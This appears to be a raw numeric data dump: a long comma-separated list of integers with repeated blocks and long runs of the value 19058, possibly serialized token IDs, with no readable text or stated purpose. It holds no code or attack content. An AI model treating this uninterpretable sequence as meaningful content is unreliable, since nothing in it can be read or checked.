66,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,17975,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22345,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19726,19742,21529,24035,23112,26225,23511,27749,27397,24035,34360,24035,24036,23114,35166,23114,23114,19758,23511,35247,23511,23511,28447,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,19821,23511,23511,23511,23511,23512,19441,36539,24035,24035,24035,24035,19846,19869,23114,23114,23114,28618,32187,19892,23511,23511,23511,34585,20402,36647,24035,24035,24036,23114,33757,23114,23114,23029,20271,23511,27070,23511,23511,30562,24035,24035,29274,26576,23114,23114,31118,23036,29695,23511,23511,32431,23634,30821,24035,23110,19913,23114,23467,31261,23261,34299,19932,24035,32609,19965,35389,19984,27689,19830,29391,29337,20041,22643,35619,33728,20062,20121,20166,35100,26145,20211,23008,19876,20208,20227,25670,20132,26578,27685,20141,20243,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36094,19288,19457,36866,17466,21724,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22735,19552,20287,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22750,19288,21529,24035,23112,28056,23511,29483,28756,24035,24035,24035,24036,23114,23114,23114,23114,20327,23511,23511,23511,23511,31156,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,24254,20371,23511,23511,23511,23511,27443,20395,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,29457,29700,23511,23511,23511,23511,33444,20402,24035,24035,24035,24036,23114,23114,23114,23114,28350,20421,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,20447,20475,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,20523,22257,20569,20783,21715,17603,20699,20837,20614,20630,21149,20670,21405,17486,17509,17525,18373,19179,20695,20716,20732,20755,19194,18042,21641,20592,20779,20598,21412,17470,17591,20896,17468,17619,20799,20700,21031,20744,20699,20828,18075,21259,20581,20853,18048,20868,20884,17756,17784,17800,17825,17854,21171,21200,20931,20947,21378,20955,20971,18086,20645,21002,20986,18178,17960,18012,18381,18064,29176,21044,21438,21018,21122,21393,21060,21844,21094,20654,17493,18150,18166,18214,25967,20763,21799,21110,21830,21138,21246,21301,18336,18361,21165,21187,20812,21216,21232,21287,21317,18553,21347,21363,21428,21454,21271,21483,21499,21515,21575,21467,18712,21591,21633,21078,18189,18198,20679,21657,21701,21074,21687,21740,21756,21786,21815,21860,21876,21892,21946,21962,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36457,19288,19457,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,36813,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,21981,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,22151,22007,18884,17900,17922,17944,18178,17960,18012,18381,18064,27898,17884,18890,17906,17928,22042,25022,18130,36931,36963,17493,18150,18166,22070,22112,25026,18134,36935,18262,18278,18294,18320,18336,18361,22142,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36109,19288,18469,36866,17466,36890,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22167,19288,19457,36866,17466,17768,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22227,36487,22273,36866,17466,36890,36866,19316,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18749,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,22304,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,19580,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22330,19089,19457,36866,17466,18721,36866,21991,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,22765,19347,19457,36866,17466,36890,36866,18114,22971,22987,17556,17575,22288,17486,17509,17525,18373,18855,22984,17553,17572,22285,18462,17990,18622,19411,20306,17996,17689,17470,17591,20896,17468,17619,22083,36867,19404,20299,36866,17647,17862,18921,19514,17705,20311,37017,17728,17756,17784,17800,17825,17854,18403,18928,19521,17712,37008,37024,17878,18884,17900,17922,17944,18178,17960,18012,18381,18064,18218,17884,18890,17906,17928,18102,25022,18130,36931,36963,17493,18150,18166,18214,25010,25026,18134,36935,18262,18278,18294,18320,18336,18361,18397,18274,22096,18304,18448,18485,18523,18553,18583,19149,18638,18497,19656,18664,18680,18507,18696,19164,18712,18737,17681,22026,20906,20915,22054,17838,17450,22022,18765,19225,18841,18871,18906,19241,19257,18976,19041,19056,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34541,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,22540,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29908,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22561,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,23837,23511,29483,29939,24035,24035,24035,24036,23114,23114,23114,23114,22584,23511,23511,23511,23511,29116,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,27443,22493,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34564,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,22839,23511,23511,23511,23511,25645,24035,24035,24035,26576,23114,23114,23114,32683,22516,23511,23511,23511,23634,24035,24035,23110,23114,23114,20499,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36079,19288,21605,24035,23112,32618,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,36442,19288,21605,24035,23112,28137,23511,31507,29939,24035,24035,24035,24036,23114,23114,23114,23114,22420,23511,23511,23511,23511,28306,19803,24035,24035,24035,24035,26576,23114,23114,23114,23114,33811,22468,23511,23511,23511,23511,23512,24694,24035,24035,24035,24035,24035,23113,23114,23114,23114,23114,28618,29700,23511,23511,23511,23511,34585,20402,24035,24035,24035,24036,23114,23114,23114,23114,23029,20271,23511,23511,23511,23511,30562,24035,24035,24035,26576,23114,23114,23114,23036,29695,23511,23511,23511,23634,24035,24035,23110,23114,23114,23467,23511,23261,23628,24035,24035,23111,23114,19874,27078,27689,19830,24035,23112,19872,27741,23266,24036,23114,30243,19829,26577,26597,20211,23008,19876,20208,23007,20046,20132,26578,27685,20141,24569,31691,19787,29304,20268,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,19058,190